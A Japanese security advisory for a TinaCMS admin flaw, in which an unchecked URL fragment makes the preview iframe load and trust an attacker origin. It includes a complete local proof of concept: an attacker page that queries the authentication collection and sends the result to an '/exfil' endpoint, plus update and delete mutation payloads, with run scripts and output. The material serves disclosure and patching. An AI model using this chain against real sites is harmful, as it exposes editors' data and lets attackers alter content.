TinaCMS 管理画面のプレビュー iFrame が、URL のフラグメントから攻撃者が制御するオリジンを読み込む。
### 概要
TinaCMS の管理画面は、プレビュー用の `<iframe src>` を、`/~/*` というハッシュルーティングのパラメータから生成していますが、この値が同一オリジンであるかどうかを確認していません。二重のスラッシュを含むフラグメント(例:`#/~//attacker.example/p`)は、プロトコル相対URL `//attacker.example/p` となり、管理画面が外部サイトを読み込んでしまいます。この検証されていない文字列が、管理画面とプレビュー間の `postMessage` 通信における信頼の基準となる `expectedOrigin` を生成するため、攻撃者のフレームは信頼されたものとして扱われ、任意の GraphQL 操作を送信できます。この操作は、ログインしている編集者のトークンを使用して実行され、結果が攻撃者のオリジンに送信されます。
ログインしている編集者がクリックしたリンクを通じて、認証されていない攻撃者が、その編集者としてサイトのコンテンツ API に対して任意の読み取りおよび書き込みアクセス権を取得する可能性があります。
### 詳細
根本原因:ルーティングパラメータが、同一オリジンチェックなしでフレームのソースとして使用される。
```
packages/tinacms/src/admin/index.tsx:16 HashRouter as Router,
packages/tinacms/src/admin/index.tsx:329 path='/~/*'
packages/tinacms/src/admin/index.tsx:173 const [url, setURL] = React.useState(`/${params['*']}`);
packages/tinacms/src/admin/index.tsx:176 const paramURL = `/${params['*']}`;
packages/@tinacms/app/src/preview.tsx:24 src={props.url}
```
先頭の `/` は相対パスを強制することを意図していますが、`react-router-dom@6.30.3` は `/~//x` のようなパラメータに対して、独自の先頭スラッシュを付加し、`//x` を生成します。この iFrame には `sandbox` 属性がなく、管理画面のバンドルには CSP (Content Security Policy) が含まれていません。
次に、この同じ値から信頼の基準が計算されます。
```
packages/@tinacms/app/src/lib/graphql-reducer.ts:209-212 getExpectedPreviewOrigin(url)
packages/@tinacms/app/src/lib/preview-origin.ts:22 return new URL(url, baseOrigin || undefined).origin;
packages/@tinacms/app/src/lib/preview-origin.ts:43-46 event.origin !== expectedOrigin -> reject
```
攻撃者が両方のガードを突破します。`event.origin` が `expectedOrigin` と一致し、`event.source` が管理画面自体が読み込んだフレームであるためです。
`PreviewInner` のURL修正処理(`packages/tinacms/src/admin/index.tsx:189-200`)は、フレームを復元できません。異なるオリジン間で `ref.current.contentWindow.location.href` を読み取ろうとすると、予期しない `SecurityError` が発生し、`setReportedURL` が実行されず、修正のための `navigate()` も行われません。以下のPoCでは、この影響がそのまま再現されており、攻撃は成功します。
攻撃者のGraphQL文字列が認証済みのクライアントに到達し、その結果が攻撃者に返されます。
```
packages/@tinacms/app/src/lib/graphql-reducer.ts:613-624 'open' ハンドラ; zod は型のみを検証し、クエリの内容は検証しません。
packages/@tinacms/app/src/lib/graphql-reducer.ts:973-978 cms.api.tina.request(expandedQuery, { variables })
packages/@tinacms/app/src/lib/graphql-reducer.ts:497-505 postMessageToPreview(..., expectedOrigin)
```
`expandQuery` (`packages/@tinacms/app/src/lib/expand-query.ts:3-18`) は、操作に依存しないため、ミューテーションは変更されずに通過します。
デフォルトで有効: `packages/@tinacms/app/src/App.tsx:70` は常に `preview={Preview}` を渡し、`packages/tinacms/src/admin/index.tsx:327` は `preview` が真の場合、常に `/~/*` を登録します。そのため、このルートはすべての `tinacms build` の出力と `tinacms dev` に存在します。
不完全な修正に関する注意: `tinacms@3.9.3` / `@tinacms/app@2.5.6` (PR #7056, `c491fc5`) では、送信側オリジンチェックが追加されましたが、チェックで使用されるURLが検証されていません。
影響範囲について、明確に述べます。私は `tinacms@3.12.1` / `@tinacms/app@2.5.12` (コミット `0d38acf`) のみでテストを行いました。以下の範囲は `<=` で示されていますが、これは脆弱な行が、私が利用できるすべてのコミットでバイト単位で同一であるためです。浅いクローンで取得したコミットは123件で、最も古いものは `8a86ffa` (2026-06-26) であり、これは `3.9.3` のセキュリティ強化リリース以前です。ただし、タグを取得したり、以前のリリースをテストしたりしていないため、正確な下限は不明です。ご自身の履歴から、より正確な範囲を特定してください。
提案される修正:`url`になる前に、`splat`を同一オリジンのパスに変換する(先頭の`/`または`\`を拒否する)、そして`getExpectedPreviewOrigin`が`window.location.origin`以外のオリジンを受け付けないようにする。
### 実証コード
安全で、ローカルで、破壊的な影響を与えない。二つのループバックオリジンが、それぞれサイトと攻撃者の役割を担います。トラフィックはマシンから一切外部に出ず、コンテンツAPIへの問い合わせも行われません。被害を受けるページは、リポジトリの`preview-origin.ts`ファイルを完全にコピーし、参照されたファイルから`PreviewInner`/`Preview`のコードを一行ずつ再現します。`cms.api.tina.request`はダミーとして実装されており、実際のバックエンドには一切触れていません。
使用環境:Linux、Node v22.23.1、Google Chrome(`/usr/bin/google-chrome`)、`playwright@1.49.0`を使用。
**セットアップ**
```bash
git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD
mkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker && cd /tmp/tina-poc
npm init -y >/dev/null
npm i --ignore-scripts react@18.3.1 react-dom@18.3.1 react-router-dom@6.30.3 esbuild@0.25.0 playwright@1.49.0
cp "$REPO/packages/@tinacms/app/src/lib/preview-origin.ts" ./preview-origin.ts
```
`victim/admin.tsx` — `packages/tinacms/src/admin/index.tsx:170-210`からの`PreviewInner`、`packages/@tinacms/app/src/preview.tsx:10-26`からの`Preview`、および4つの`graphql-reducer.ts`のステップ(`:209-212`, `:548-556`, `:613-624` + `:973-978`, `:497-505`):
```tsx
import React from 'react';
import { createRoot } from 'react-dom/client';
import { HashRouter as Router, Route, Routes, useNavigate, useParams } from 'react-router-dom';
import { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from '../preview-origin';
const log = (m: string, x?: unknown) => console.log('[victim]', x === undefined ? m : `${m} ${JSON.stringify(x)}`);
```text
// cms.api.tina.request の代替関数 (graphql-reducer.ts:977): 実際の管理画面では、
// これはエディタのトークンを使用してコンテンツAPIへの認証された呼び出しです。
async function tinaRequest(query: string) {
log('cms.api.tina.request() が、攻撃者のクエリとともに呼び出されました', query);
return { data: { __POC_MARKER__: 'SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE' } };
}
function useGraphQLReducer(iframe: React.MutableRefObject<HTMLIFrameElement | null>, url: string) {
const expectedOrigin = React.useMemo(() => getExpectedPreviewOrigin(url), [url]); // :209-212
React.useEffect(() => {
log('プレビューURLから派生した expectedOrigin', { url, expectedOrigin });
(window as any).__poc_expectedOrigin = expectedOrigin;
}, [expectedOrigin, url]);
const handleMessage = React.useCallback(async (event: MessageEvent<any>) => {
if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556
if (event.data.type === 'open') { // :613-624
log('「open」メッセージを、次のオリジンから受信しました', event.origin);
const expandedData = await tinaRequest(event.data.query); // :973-978
postMessageToPreview(iframe.current?.contentWindow,
{ type: 'updateData', id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505
log('クエリの結果を、次のオリジンに送信しました', expectedOrigin);
}
}, [expectedOrigin]);
React.useEffect(() => {
window.addEventListener('message', handleMessage);
return () => window.removeEventListener('message', handleMessage);
}, [handleMessage]);
}
const Preview = (props: { url: string; iframeRef: React.MutableRefObject<HTMLIFrameElement | null> }) => {
useGraphQLReducer(props.iframeRef, props.url);
return <iframe data-test='tina-iframe' id='tina-iframe' ref={props.iframeRef}
className='h-full w-full bg-white' src={props.url} />; // preview.tsx:24
};
```
```
const PreviewInner = ({ preview }: { preview: any }) => { // admin/index.tsx:170-210
const params = useParams();
const navigate = useNavigate();
const [url, setURL] = React.useState(`/${params['*']}`);
const [reportedURL, setReportedURL] = React.useState<string | null>(null);
const ref = React.useRef<HTMLIFrameElement>(null);
const paramURL = `/${params['*']}`;
React.useEffect(() => { if (reportedURL !== paramURL && paramURL) setURL(paramURL); }, [paramURL]);
React.useEffect(() => { if ((reportedURL !== url || reportedURL !== paramURL) && reportedURL) navigate(`/~${reportedURL}`); }, [reportedURL]);
React.useEffect(() => { // admin/index.tsx:189-200
setInterval(() => {
if (ref.current) {
const url = new URL(ref.current.contentWindow?.location.href || '');
if (url.origin === 'null') { return; }
const href = url.href.replace(url.origin, '');
setReportedURL(href);
}
}, 100);
}, [ref.current]);
React.useEffect(() => {
log('iframe src computed from router splat', { "params['*']": params['*'], url });
(window as any).__poc_iframeSrc = url;
}, [url]);
const PreviewCmp = preview;
return <div><PreviewCmp url={url} iframeRef={ref} /></div>;
};
createRoot(document.getElementById('root')!).render(
<Router>
<Routes>
<Route path='/~/*' element={<PreviewInner preview={Preview} />} /> {/* admin/index.tsx:329 */}
<Route path='/' element={<div>admin dashboard</div>} />
</Routes>
</Router>
);
```
`victim/index.html`:
```html
<!doctype html><html><head><title>TinaCMS admin (repro)</title></head>
<body><div id="root"></div><script type="module" src="/admin.js"></script></body></html>
```
`attacker/evil.html`:
```html
<!doctype html><html lang="en"><body lang="en">
<h1>TinaCMS管理画面によってフレーム化された、攻撃者によって制御されたページ</h1>
<script>
parent.postMessage({ type: 'open', id: 'poc-1',
query: 'query { collection(collection: "authentication") { documents { edges { node { ... on Document { _values } } } } } }',
variables: {}, data: {} }, '*');
window.addEventListener('message', (e) => {
if (e.data && e.data.type === 'updateData') {
fetch('/exfil?data=' + encodeURIComponent(JSON.stringify(e.data.data)), { mode: 'no-cors' });
}
});
</script></body lang="en"></html>
```
`run.cjs`:両方のオリジンに対応し、攻撃者側のサーバーからのすべてのリクエストを記録し、制御用のコードと、作成されたコードを実行します。
```javascript
const http = require('http'), fs = require('fs'), path = require('path'), { chromium } = require('playwright');
const VICTIM_PORT = 8801, ATTACKER_PORT = 8802, HERE = __dirname, attackerHits = [];
function serve(dir, port, onHit) {
const s = http.createServer((req, res) => {
const u = new URL(req.url, `http://127.0.0.1:${port}`);
if (onHit) onHit(req.method + ' ' + u.pathname + u.search);
if (u.pathname.startsWith('/exfil')) {
res.writeHead(204).end();
return;
}
const f = path.join(dir, u.pathname === '/' ? '/index.html' : u.pathname);
if (!f.startsWith(dir) || !fs.existsSync(f)) {
res.writeHead(404).end('nf');
return;
}
res.writeHead(200, { 'content-type': f.endsWith('.js') ? 'text/javascript' : 'text/html; charset=utf-8' });
res.end(fs.readFileSync(f));
});
return new Promise(r => s.listen(port, '127.0.0.1', () => r(s)));
}
(async () => {
const v = await serve(path.join(HERE, 'victim'), VICTIM_PORT);
const a = await serve(path.join(HERE, 'attacker'), ATTACKER_PORT, h => attackerHits.push(h));
const browser = await chromium.launch({ executablePath: '/usr/bin/google-chrome' });
const results = {};
for (const scenario of ['control', 'attack']) {
attackerHits.length = 0;
const ctx = await browser.newContext();
const page = await ctx.newPage();
const logs = [];
page.on('console', m => logs.push(m.text()));
const hash = scenario === 'control' ? '#/~/posts/hello-world' : `#/~//127.0.0.1:${ATTACKER_PORT}/evil.html`;
await page.goto(`http://127.0.0.1:${VICTIM_PORT}/index.html${hash}`);
await page.waitForTimeout(2500);
results[scenario] = {
hash,
iframeSrc: await page.evaluate(() => window.__poc_iframeSrc),
expectedOriginTrustedByAdmin: await page.evaluate(() => window.__poc_expectedOrigin),
framesLoaded: page.frames().map(f => f.url()),
attackerServerHits: [...attackerHits],
victimConsole: logs.filter(l => l.startsWith('[victim]'))
};
await ctx.close();
}
await browser.close();
v.close();
a.close();
console.log(JSON.stringify(results, null, 2));
})();
```
**実行**
```bash
cd /tmp/tina-poc
npx esbuild victim/admin.tsx --bundle --outfile=victim/admin.js --format=esm \
--loader:.tsx=tsx --define:process.env.NODE_ENV='"production"'
node run.cjs
```
**観察された出力 (完全なテキスト)**
```json
{
"control": {
"hash": "#/~/posts/hello-world",
"iframeSrc": "/posts/hello-world",
"expectedOriginTrustedByAdmin": "http://127.0.0.1:8801",
"framesLoaded": [
"http://127.0.0.1:8801/index.html#/~/posts/hello-world",
"http://127.0.0.1:8801/posts/hello-world"
],
"attackerServerHits": [],
"victimConsole": [
"[victim] expectedOrigin はプレビューURLから派生: {\"url\":\"/posts/hello-world\",\"expectedOrigin\":\"http://127.0.0.1:8801\"}",
"[victim] iframe src はルーターのパラメータから計算: {\"params['*']\":\"posts/hello-world\",\"url\":\"/posts/hello-world\"}"
]
},
"attack": {
"hash": "#/~//127.0.0.1:8802/evil.html",
"iframeSrc": "//127.0.0.1:8802/evil.html",
"expectedOriginTrustedByAdmin": "http://127.0.0.1:8802",
"framesLoaded": [
"http://127.0.0.1:8801/index.html#/~//127.0.0.1:8802/evil.html",
"http://127.0.0.1:8802/evil.html"
],
"attackerServerHits": [
"GET /evil.html",
"GET /exfil?data=%7B%22__POC_MARKER__%22%3A%22SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE%22%7D"
],
"victimConsole": [
"[victim] expectedOrigin はプレビューURLから派生: {\"url\":\"//127.0.0.1:8802/evil.html\",\"expectedOrigin\":\"http://127.0.0.1:8802\"}",
"[victim] iframe src はルーターのパラメータから計算: {\"params['*']\":\"/127.0.0.1:8802/evil.html\",\"url\":\"//127.0.0.1:8802/evil.html\"}",
"[victim] \"http://127.0.0.1:8802\" から \"open\" メッセージを受信",
"[victim] cms.api.tina.request() が攻撃者からのクエリで呼び出されました: \"query { collection(collection: \\\"authentication\\\") { documents { edges { node { ... on Document { _values } } } } } }\"",
"[victim] クエリ結果を \"http://127.0.0.1:8802\" に送信"
]
}
}
```
脆弱性が確認される出力 — `attack` の場合: `iframeSrc` はプロトコル相対、`expectedOriginTrustedByAdmin` は攻撃者のオリジンと一致、攻撃者によって提供されるフレーム、そして攻撃者サーバー上で `GET /evil.html` と `GET /exfil?data=...` が両方とも実行される。これらはすべて確認されました。
制御 — `#/~/posts/hello-world` はフレームを同一オリジンに保ち、`expectedOrigin` を被害者のオリジンに保ち、攻撃者からのアクセスをゼロにします。修正後のカスタムフラグメントも同様の動作をするはずです。
**検証用チェック — 攻撃者の変更が `expandQuery` を通過し、実際の Tina スキーマに対して検証されること**
```bash
mkdir -p /tmp/tina-expand && cd /tmp/tina-expand
npm init -y >/dev/null && npm i --ignore-scripts graphql@16.8.1 esbuild@0.25.0
cp "$REPO/packages/@tinacms/app/src/lib/expand-query.ts" ./expand-query.ts
cat > t.ts <<'EOF'
import * as G from 'graphql'; import fs from 'fs'; import { expandQuery } from './expand-query';
const schema = G.buildSchema(fs.readFileSync(process.env.SCHEMA!, 'utf-8'));
const ops: Record<string,string> = {
READ: `query { movieConnection { edges { node { _values } } } }`,
MUTATE_UPDATE: `mutation { updateDocument(collection: "movie", relativePath: "movie1.json", params: {movie: {title: "pwned"}}) { __typename } }`,
MUTATE_DELETE: `mutation { deleteDocument(collection: "movie", relativePath: "movie1.json") { __typename } }`,
};
for (const [n, op] of Object.entries(ops)) {
const printed = G.print(expandQuery({ schema, documentNode: G.parse(op) }));
const errs = G.validate(schema, G.parse(printed));
console.log(`--- ${n} ---`);
console.log('survives expandQuery + validates against the real Tina schema:', errs.length === 0);
console.log('operation kept:', (G.parse(printed).definitions[0] as any).operation);
}
EOF
npx esbuild t.ts --bundle --platform=node --outfile=t.cjs --format=cjs >/dev/null
SCHEMA="$REPO/packages/@tinacms/graphql/src/spec/movies-with-datalayer/.tina/__generated__/schema.gql" node t.cjs
```
出力結果:
--- READ ---
expandQuery を実行し、実際の Tina スキーマに対する検証に成功: true
保持された操作: query
--- MUTATE_UPDATE ---
expandQuery を実行し、実際の Tina スキーマに対する検証に成功: true
保持された操作: mutation
--- MUTATE_DELETE ---
expandQuery を実行し、実際の Tina スキーマに対する検証に成功: true
保持された操作: mutation
**検証項目 — ルーターのスプラット動作**
```bash
mkdir -p /tmp/tina-rr && cd /tmp/tina-rr && npm init -y >/dev/null
npm i --ignore-scripts react-router-dom@6.30.3 react@18.3.1 react-dom@18.3.1
cat > t.cjs <<'EOF'
const { matchPath } = require('react-router-dom');
for (const p of ['/~/posts/hello','/~//evil.example','/~/%2F%2Fevil.example']) {
const s = matchPath({ path: '/~/*' }, p)?.params['*'];
console.log(JSON.stringify(p), '=> params["*"] =', JSON.stringify(s), '=> url =', JSON.stringify('/' + s));
}
EOF
node t.cjs
```
出力結果:
```
"/~/posts/hello" => params["*"] = "posts/hello" => url = "/posts/hello"
"/~//evil.example" => params["*"] = "/evil.example" => url = "//evil.example"
"/~/%2F%2Fevil.example" => params["*"] = "//evil.example" => url = "///evil.example"
```
**検証範囲。** 実行および観察された内容: プロトコル相対の `url`、クロスオリジンフレームのロード、攻撃者のオリジンが `expectedOrigin` になること、リポジトリの実際の `isFromTrustedPreviewOrigin` が攻撃者のメッセージを受け入れること、攻撃者の操作文字列がリクエスト関数に到達すること、レスポンスが攻撃者のオリジンに送信されること、および攻撃者の変更がリポジトリが提供する生成されたスキーマに対して検証されること。 実行されなかった内容: ライブの TinaCloud またはセルフホストされたバックエンドへのアクセス — `cms.api.tina.request` は意図的にダミー化されており、PoC が外部サービスに接続したり、データを書き込んだりしないようにしています。
**クリーンアップ**
```bash
rm -rf /tmp/tina-poc /tmp/tina-expand /tmp/tina-rr
```
このレポートが作成された後、すべての PoC を再実行しました。 上記の出力は、その実行結果です。
### 影響
Originの検証エラーにより、コンテンツAPIの不正利用が発生する可能性があります。認証されていないリモート攻撃者が、TinaCMSのエディタにログインしている状態で特定のリンクを開くだけで、攻撃が可能になります。ペイロードはURLのフラグメントに存在するため、サーバーやそのログには到達しません。攻撃者は、エディタがアクセスできるすべての情報を読み取り(自己ホスト環境では、PBKDF2のパスワードハッシュを含む`authentication`コレクションも含まれます)、エディタが実行できるすべての操作(`updateDocument`、`createDocument`、`deleteDocument`など)を実行し、その結果を攻撃者のオリジンに送信します。この攻撃は、ブラウザの同一オリジンポリシーと、コンテンツAPIの認証という2つのセキュリティ境界を回避します。
影響を受けるのは、TinaCMSの管理画面バンドルを提供しているすべての環境(`tinacms build`の出力または`tinacms dev`を使用している環境)です。どの設定でも、`/~/*`のルートを無効にすることはできません。
### 貢献者
- VinSOC Labs (R&D) の Thai Son Dinh
影響を受けるパッケージ:
- npm (JavaScript) tinacms: 影響を受けるバージョンは3.13.0以下、修正は3.14.0で実施済み
- npm (JavaScript) @tinacms/app: 影響を受けるバージョンは2.5.13以下、修正は2.5.14で実施済み